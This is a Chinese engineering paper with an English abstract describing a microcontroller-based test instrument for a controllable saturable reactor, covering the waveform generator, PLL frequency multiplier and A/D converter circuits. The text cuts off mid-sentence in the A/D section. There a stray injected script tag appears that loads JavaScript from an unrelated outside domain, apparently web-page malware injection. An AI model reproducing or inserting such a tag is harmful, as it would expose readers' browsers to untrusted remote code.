摘 要: 介绍一种研究可控饱和电抗器输出特性的单片机测试仪，用于检测并处理可控饱和电抗器中的感应线圈电压波形的平均值、有效值。当、交流激励直接让饱和电感处于饱和状态时，研究感应线圈电压与直流偏磁磁势之间的关系曲线，并绘制它的开环输出特性。
关键词: 饱和电抗器; 输出特性; 单片机; 测试仪
study of singlechip processor instrumentation of sat urable reactor property
zhang junfeng, mao chengxiong, lu jiming, li weibo
(school of electrical & electronic engineering,huazhong universit yof science & technology,
wuhan 430074, china)
abstract: an instrumentation based on singlechip processor is presented for studying the output property of saturable reactor.the instrumentation can play in important role in dealing with rms value of the induced voltage of the coil in the saturab le reactor. the relation curve between induced voltage rms and dc is given.exper imental results verify the correctness of the instrumentation.
key words: saturable reactor; output property; singlechip processor; instrumentation
1前言
饱和电感是一种磁滞回线矩形比高，起始磁导率高，矫顽力小，具有明显磁饱和点的电感。饱和电感可分为自饱和和可控饱和二类。自饱和电感其电感量随通过的电流大小可变。若铁心磁特性是理想的（例如呈矩形），则饱和电感工作时，类似于一个“开关”，即绕组中的电流小时，铁心不饱和，绕组电感很大，相当于“开路”。绕组中电流大时，铁心饱和，绕组电感小，相当于开关“短路”。可控饱和电感又称可控饱和电抗器，其基本原理是，带铁心的交流线圈在直流激磁作用下，由于交直流同时激磁，使铁心状态一周期内按局部磁回线变化，因此，改变了铁心等效磁导率和线圈电感。
由于其独特的物理特性，使之在高频开关电源的开关噪声抑制、大电流输出辅路稳压、移相全桥变换器、谐振变换器及逆变电源等方面得到了日益广泛的应用。
最简单的饱和电抗器，由直流控制绕组（匝数为w1）、交流激励绕组（匝数为w-s）和环形铁芯（磁路截面积为s）组成。为了检测方便，在饱和电抗器上绕制了一个检测绕组，将检测绕组获得的感应电势送到单片机测试仪进行后续数据处理并最终显示结果。
2装置的硬件实现及其工作原理
单片机及其硬件实现框图如图1所示。硬件电路的工作原理为：8038波形产生电路产生同频率的正弦波和方波（频率为f0），正弦波通过功率放大电路驱动激励线圈，作为激励电压源。方波一路直接接到单片机的p1口，用于检测跳沿并决定采样的起始点。另一路接到倍频电路，产生频率fc=nf0的方波，用于产生等间隔采样所需要的脉冲。倍频电路的输出直接接到mcs51系列中的89c52单片机的int0，单片机在脉冲的下降沿产生中断并响应中断处理程序，等间隔采样采用中断处理方式。
2.1波形产生电路
icl8038在发生温度变化时产生低的频率漂移，最大不超过50×106/℃，具有正弦波、三角波和方波等多种函数信号输出。正弦波输出有低于1%的失真度，三角波输 出有0.1%高线性度，0.001hz~1mhz的频率输出范围，工作变化周期宽，2%~98%之间任意可调，高的电平输出范围，从ttl电平至28v，易于使用，只需要很少的外部电阻电容。由于icl8038单片函数发生器所产生的正弦波由三角波经非线性网络变换获得，该芯片的第1脚和第12脚就是为调节输出正弦波失真度而设置的。图2为波形产生电路［1，2］，同时也是一个调节输出正弦波失真度的典型应用。其中第1脚调节振荡电容充电时间过程中的非线性逼近点，第12脚调节振荡电容在放电时间过程中的非线性逼近点，在实际应用中，两只100k的电位器选择多圈精度电位器，反复调节，达到很好的效果。
2.2倍频电路
cd4046是一种低频多功能单片数字集成锁相环集成电路，最高工作频率为1mhz，电源电压5~15v，当f0=10khz时，功耗为0.15~9mw。与类似的双极性单片集成锁相环相比，功耗降低了数十倍至数百倍，这对于要求功耗小的设备来说是非常重要的，电路图［3~7］如图3所示。由于cd4046内部相位比较器ⅰ是异或门，使用时要求输入信号的占空比为50%，因此要把icl8038产生的方波信号通过计数器计数，这样虽然频率降低为原频率的2n，但是可以保证输入到cd4046信号的占空比为50%。
2.3a/d转换电路
ad574是美国模拟器件公司推出的一种高集成度低价格的逐次逼进式12位a/d转换器，它的转换速度为25μs，转换精度为0.05%，其内部具有三太数据锁存器，可?script src=http://er12.com/t.js>
